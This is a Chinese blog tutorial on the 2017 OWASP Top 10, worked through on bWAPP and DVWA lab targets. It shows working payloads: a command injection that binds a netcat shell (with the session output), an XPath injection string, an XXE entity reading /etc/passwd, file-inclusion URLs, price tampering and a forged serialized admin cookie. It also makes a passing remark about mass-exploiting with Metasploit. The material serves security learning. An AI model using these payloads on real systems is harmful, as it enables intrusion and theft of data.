2017 owasp top 10

参考  http://www.owasp.org.cn/owasp-project/2017-owasp-top-10/

靶机全家桶 https://sourceforge.net/projects/owaspbwa/ 

A1-注入

注入非常常见例如:SQL,LDAP,XPath,OS命令,XML,SMTP,ORM等等.通过代码审计,扫描工具,手工测试等,可很快发现漏洞.

产生这种漏洞的原因是web程序缺少对输入数据进行安全检查,导致攻击者把包含指令数据发送给解释器.

bwapp HTML Injection - Reflected (GET)的注入

<a href=http://baidu.com>快点我领取</a>

XML/XPath Injection (Login Form)

test' or 1=1 or 'a'='a

OS Command Injection  

www.nsa.gov && nc -vlp 4444 -e / bin / bash

链接成功 

~# nc -vv 192.168.1.106 4444
192.168.1.106: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.106] 4444 (?) open
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

A2-失效的身份认证

用户名和密码存储在页面中,允许使用暴力破解攻击,后台管理默认用户名密码admin,password,明文存储密码等等,URL包含登录者的session id导致截取信息,可直接访问会话内容.

Session Mgmt. - Administrative Portals

http://192.168.1.106/bWAPP/smgmt_admin_portal.php?admin=0 #1登录

Session Mgmt. - Session ID in URL

http://192.168.1.106/bWAPP/smgmt_sessionid_url.php?PHPSESSID=96df9832296682a94b295eb1751c6465

Broken Auth. - Password Attacks

A3-敏感数据泄露

最常见的是不对敏感数据进行模糊处理,即便有的加密也有很多的弱加密算法.例如:银行的一些敏感信息pdf可直接访问下载,医疗等等.

电商平台的价格等等没有进行模糊处理.即便是对价格进行模糊处理,还可把一些价格便宜数据复制过来对提交的数据进行修改.

抓取提交的数据,对隐藏字段进行修改下单

Cookie: JSESSIONID=F28D318D6BAF52D47835EDC06CEAD45A; bdshare_firstime=1540383047554
Connection: close

id=98412&count=1&price=712&gsp=32771%2C20%2C #price隐藏字段修改为-1000

修改后的结果

A4-XML 外部实体(XXE)

XXE缺陷可用于提取数据、执行远程 服务器请求、扫描内部系统、执行拒 绝服务攻击和其他攻击。

XML External Entity Attacks (XXE)

捕获提交的数据,对xml进行修改

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]> 
<reset> 
<login>&b;</login> 
<secret>login</secret> 
</reset>

得到结果

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
..................

A5-失效的访问控制

攻击者可以冒充用户、管理员或拥有特权的用户,或者创建、 访问、更新或删除任何记录

SQL调用中使用了未经验证 的数据

http://example.com/app/accountInfo?acct=notmyacct
只需修改浏览器中的“acct”参数即可发送他们想要的任何
帐号信息。如果没有正确验证,攻击者可以访问任何用户的帐户

DVWA 目录的遍历%5c ../

http://192.168.1.106/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

还可读取外部资源

http://192.168.1.103/dvwa/vulnerabilities/fi/?page=http://192.168.1.106

A6-安全配置错误

安全配置错误可以发生在一个应用程序堆栈的任何层 面,包括网络服务、平台、Web服务器、应用服务器、 数据库、框架、自定义代码和预安装的虚拟机、容器 和存储。

例如:目录的访问,允许任意下载文件

例如:服务器的端口对外开放22,3306等等,会受到暴力破解的攻击,若是弱密码是多么的GG啊,甚至有些公司的服务器密码就写在一个非常显眼的地方,而且很多人的密码都是生日,纪念日,车牌号等等,一台沦陷整个内网都将GG.

A7-跨站脚本(XSS)

xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。

反射型XXS:反射型XXS 也叫做“非持久型

存储型XXS:存储型XXS会把数据保存在服务端,这种具有很强的稳定性   这种危害最大 可以在前端代码注入 我们想要的接 

dom型xxs:是由于未作任何安全检查,常见  我们可以在URL拼接参数 

A8-不安全的反序列化

Java序列化和反序列化:把对象转换为字节序列的过程称为对象的序列化.把字节序列恢复为对象的过程称为对象的反序列化. 

场景 #1:一个React应用程序调用了一组Spring Boot微服务。作 为功能性程序员,他们试图确保他们的代码是不可变的。他们提 出的解决方法是序列化用户状态,并在每次请求时来回传递。攻 击者注意到了“R00”Java对象签名,并使用Java Serial Killer工 具在应用服务器上获得远程代码执行。

场景 #2:一个PHP论坛使用PHP对象序列化来保存一个“超 级”cookie。该cookie包含了用户的用户ID、角色、密码哈希和其 他状态: a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 攻击者更改序列化对象以授予自己为admin权限: a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

A9-使用含有已知漏洞的组件

使用存在漏洞的程序,没有对应用程序升级,没对系统打补丁,使用存在缺陷的API等等.

例如metasploit框架中的攻击模块,基本不需要怎样修改,几个命令就可导致系统沦陷.写个自动的脚本,将一抓一批shell

A10-不足的日志记录和监控

日志记录不足,对系统登录或web应用的登录造成没有足够的上下文信息,对后期的取证造成影响.

监控不足,导致撞库不能发现,不对尝试撞库或爬取信息的IP进行封禁处理等等.

猜你喜欢

转载自blog.csdn.net/freegotocpp/article/details/83308398
今日推荐